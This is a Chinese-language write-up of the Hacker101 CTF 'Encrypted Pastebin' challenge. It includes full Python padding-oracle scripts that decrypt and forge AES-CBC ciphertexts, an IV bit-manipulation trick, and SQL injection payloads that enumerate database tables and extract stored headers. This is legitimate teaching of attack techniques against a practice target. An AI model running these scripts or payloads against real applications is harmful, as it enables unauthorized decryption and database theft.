Hacker101 CTF Encrypted Pastebin write-up

2020-01-07 约 683 字 预计阅读 4 分钟

声明:本文 【Hacker101 CTF Encrypted Pastebin write-up】 由作者 Werner 于 2020-01-07 09:33:59 首发 先知社区 曾经 浏览数 149 次

感谢 Werner 的辛苦付出!

背景介绍

Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。

本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。

本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。

若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。

题目描述

题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。

打开题目后看到一个Web页面,如下图所示:

提示文本是:

We've developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。

我们输入Title1,内容也为1,然后点击Post按钮,页面跳转到了:

http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~

观察这个URL,看到路径没有变,只是多了post参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:

这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。

根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。

Flag 1

一开始毫无思路,便想着输入异常数据试图引发错误。将post参数的值修改为1,提交后结果出乎意料,直接得到了一个flag,如下图所示。

在报错中我们看到了服务器是如何解码post参数的:

b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))

其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post参数后,调用一个名为decryptLink的函数解密它,解密后按UTF-8解码,并以json格式解析:

post = json.loads(decryptLink(postCt).decode('utf8'))

从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。

Flag 2

报错1

现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink解密时报错的数据。我们知道了如何解码post参数,便也就知道了如何编码post参数。提交post参数为MTix(一个有效的base64编码),这次报错为:

通过这个报错,我们看到了decryptLink函数中有一行代码的内容是:

cipher = AES.new(staticKey, AES.MODE_CBC, iv)

看来加解密post参数使用的密钥是静态的(staticKey)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post参数中提取的。

报错2

现在考虑触发新的报错,将16个*编码,结果为:

KioqKioqKioqKioqKioqKg~~

提交此参数,成功触发了新的报错,如下图所示。

从这个报错中我们看到了decryptLink函数的最后一行代码,内容是:

return unpad(cipher.decrypt(data))

报错说string index out of range,应该是提交的post参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad操作,看函数名其功能应该是去掉填充(pad)。

报错3

再尝试触发新的报错,将32个*编码,结果为:

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~

提交此参数,成功触发了新的报错,如下图所示。

这次的报错中出现了耐人寻味的PaddingException,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。

import base64
import requests

def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))

def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')

def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1)
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]

def padding_oracle(real_iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            if test(url, encode(iv+data)):
                plains = bytes([(16-index) ^ iv[index]]) + plains
                index -= 1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
    return bxor(real_iv, plains)

if __name__ == '__main__':
    post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
    url = 'http://35.190.155.168/fc2fd7e530/'

    i = 1
    plains = bytes()
    data = decode(post)
    length = len(data)
    while True:
        if i*16 < length:
            iv = data[(i-1)*16: i*16]
            plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
        else:
            break
        i += 1
    print(plains)

运行这个脚本,花了大约1个小时才解出明文是:

{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n

至此拿到了第二个flag。

Flag 3

观察解出的明文,发现它是json格式的,共有三个键,第一个是flag,应该纯粹为CTF服务,没有实际意义;第二个是id,值为3;第三个是key,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post参数却是失败的,看来是其他地方的密钥了。

我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id3改成其他值,比如1。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')时会触发UnicodeDecodeError错误。

为了避免UnicodeDecodeError错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。

然而id出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:

{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

然后再设计我们想要的明文:

{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

对比可知完全抛弃了前5个分组,只保留了后5ge分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:

post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):]    # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)]    # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6)    # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"')    # 计算出合适的IV
print(encode(iv+data))

运行该代码计算出对应post参数为:

11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,没有成功查询出id1的条目,但成功拿到了新的flag,如下图。

通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。

Flag 4

继续设法触发新的报错,试试SQL注入。构造如下的明文,把id的值设置为单引号:

{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

计算出对应post为:

11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。

但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。

多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。

如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value,在CBC模式中Intermediary Value和IV或上一块密文异或得到Decrypted Value。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value,用Intermediary Value异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value,用Intermediary Value异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。

看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。

首先构造明文:

{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA

得到数据库名为level3

接着构造明文:

{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

得到数据库level3中有表poststracking,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:

{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~

得到表tracking有列idheadersid里应该没有实际数据,所以我们试图查询出headers。为此构造明文:

{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

成功的查出了所有的headers,但其中没有flag。观察数据,看到headers应该是http的头部,其中也包含post参数,都试一试,发现第一个post参数可以解出一个新的flag,如下图。

至此,拿到了全部的4个flag。

总结

先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。

这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。

附录

生成解密出任意指定明文的密文的Python脚本:

import base64
import requests

def trans(s):
    return "b'%s'" % ''.join('\\x%.2x' % x for x in s)


def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))


def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')


def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result


def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        print(r.url)
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1) 
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]


def padding_oracle_decrypt(url, data):
    print('破解数据:{}'.format(data))
    index = 15
    intermediary = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            print('尝试初始向量:{}'.format(trans(iv)))
            if test(url, encode(iv+data)):
                intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
                index -= 1
                tail = bytes([temp ^ (16-index) for temp in intermediary])
                break
    return intermediary


def pad(data, block_size):
    """按PKCS#5填充"""
    amount_to_pad = block_size - (len(data) % block_size)
    if amount_to_pad == 0:
        amount_to_pad = block_size
    pad = bytes([amount_to_pad])
    return data + pad * 16


if __name__ == '__main__':
    url = 'http://35.190.155.168/fc2fd7e530/'
    post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
    ciphertext = decode(post)[16*6:16*7]
    immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])

    plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
    data = pad(plains.encode('utf-8'), 16)
    block_amount = int(len(data) / 16)
    index = block_amount
    while True:
        block = data[(index-1)*16: index*16]
        print('处理块:')
        print(block)
        iv = bxor(immediate, block)
        ciphertext = iv + ciphertext
        index -= 1
        if index > 0:
            immediate = padding_oracle_decrypt(url, iv)
        else:
            break
    print(encode(ciphertext))

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now